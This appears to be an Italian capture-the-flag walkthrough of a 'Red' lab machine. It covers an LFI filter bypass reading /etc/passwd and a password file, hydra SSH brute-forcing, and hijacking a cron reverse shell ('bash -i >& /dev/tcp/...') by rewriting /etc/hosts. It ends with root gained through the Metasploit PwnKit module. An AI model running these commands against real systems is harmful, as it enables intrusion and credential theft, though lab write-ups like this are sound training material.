Scansioniamo con NMAP e troviamo 2 porte

22
80

analizzando il sito web, rileviamo che è vulnerabile a LFI ---> index.php?page=

includendo la pagina index.php riusciamo a leggere il codice sorgente

```
<?php

function sanitize_input($param) {
    $param1 = str_replace("../","",$param);
    $param2 = str_replace("./","",$param1);
    return $param2;
}

$page = $_GET['page'];
if (isset($page) && preg_match("/^[a-z]/", $page)) {
    $page = sanitize_input($page);
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>
```

i test con ../ ./ non passano perchè
preg_match("/^[a-z]/", $page) prevede che il parametro inizi con la lettera minuscola

potremmo usare un wrapper php ma possiamo usare anche la sintassi file:///

/index.php?page=file:///etc/passwd

otteniamo il file. Tra gli utenti che hannao una shell associata

```
blue:x:1000:1000:blue:/home/blue:/bin/bash
red:x:1001:1001::/home/red:/bin/bash
```

file: /etc/hosts

```
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm
```

leggiamo .bash_history di /home/blue

```
echo "Red rules"
```

```
cd
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule >
passlist.txt
cat passlist.txt
rm passlist.txt
sudo apt-get remove hashcat -y



GET /index.php?page=file:///home/blue/.reminder
sup3r_p@s$w0rd!

Viene usato hashcat per generare password con il ruleset
hashcat --stdout .reminder -r /usr/share/hashcat/rules/best64.rule >
passlist.txt

generiamo la lista di pwd a partire dal file reminder

eseguiamo il brute force su ssh sia per l'utente red che per l'utente blue

hydra -l red -P passlist.txt 10.10.223.75 ssh -vV
hydra -l blue -P passlist.txt 10.10.223.75 ssh -vV

[22][ssh] host: 10.10.223.75   login: blue   password: sup3r_p@s$w0rd!  <-----
utente blue


SSH:
Last login: Mon Apr 24 22:18:08 2023 from 10.13.4.71
blue@red:~$ id
uid=1000(blue) gid=1000(blue) groups=1000(blue)

THM{Is_thAt_all_y0u_can_d0_blU3?}

Enumeriamo con linpeas e pspy64 prima che la sessione si chiuda

viene eseguiti periodicamente il processo
bash -c nohup bash -i >& /dev/tcp/redrules.thm/9001 0>&1 &

l'utente red cerca di connettersi a redrules.thm alla porta 9001 per aprire una
rev shell

analizziamo i permessi del file /etc/hosts
132293 4 -rw-r--rw- 1 root adm 242 Jul 31 18:45 /etc/hosts   <------------
possiamo modificarlo

blue@red:/tmp$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 red
192.168.0.1 redrules.thm   <-----------  cerchiamo di modificare l'ip con il
nostro per la risoluzione di redrules.thm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
```

```
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter
```

non possiamo usare un reverse tunnel SSH in quanto potremmo aprire localmente sul server una 9001 ma l'ip di risoluzione non
è raggiungibile. Quindi o lo modifichiamo in 127.0.0.1 ed eseguiamo un rev tunnel

ssh -R 9001:127.0.0.1:9001 -N -f blue@10.10.96.236 (sulla nostra macchina apriamo nc -nvlp 9001)

```
blue@red:~$ ss -tulnp
tcp          LISTEN        0             128
[::1]:9001                          [::]:*
```

o direttamente lo facciamo puntare a noi vista la connettività <----------------

copiamo il file hosts sotto temp, lo modifichiamo e lo sovrascriviamo all'originale
cat /tmp/hosts > /etc/hosts

```
127.0.0.1 localhost
127.0.1.1 red
10.8.8.53 redrules.thm
```

```
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.8.8.53] from (UNKNOWN) [10.10.207.150] 57528
bash: cannot set terminal process group (1473): Inappropriate ioctl for device
bash: no job control in this shell
red@red:~$ id
id
uid=1001(red) gid=1001(red) groups=1001(red)
```

all'interno di red troviamo la cartella .git che contiene un suid

```
418505 4 drwxr-x--- 2 red  red  4096 Aug 14  2022 .git
418507 32 -rwsr-xr-x 1 root root 31032 Aug 14  2022 pkexec   <---- suid
```

usiamo meterpreter per sfruttare la vulnerabilità pwnkit con metasploit

```
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options

Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):
```

```
   Name          Current Setting        Required  Description
   ----          ---------------        --------  -----------
   PKEXEC_PATH   /home/red/.git/pkexec  no        The path to pkexec binary
<-------------- path per exploit all'interno di /home/red
   SESSION       1                      yes       The session to run this module
on
   WRITABLE_DIR  /tmp                   yes       A directory where we can write
files

  --  ----  ----                   -----------          ----------
  1         meterpreter x86/linux  red @ 10.10.207.150   10.8.8.53:4455 ->
10.10.207.150:51612 (10.10.207.150)
  2         meterpreter x64/linux  root @ 10.10.207.150  10.8.8.53:4444 ->
10.10.207.150:33248 (10.10.207.150)  <------ ROOT
```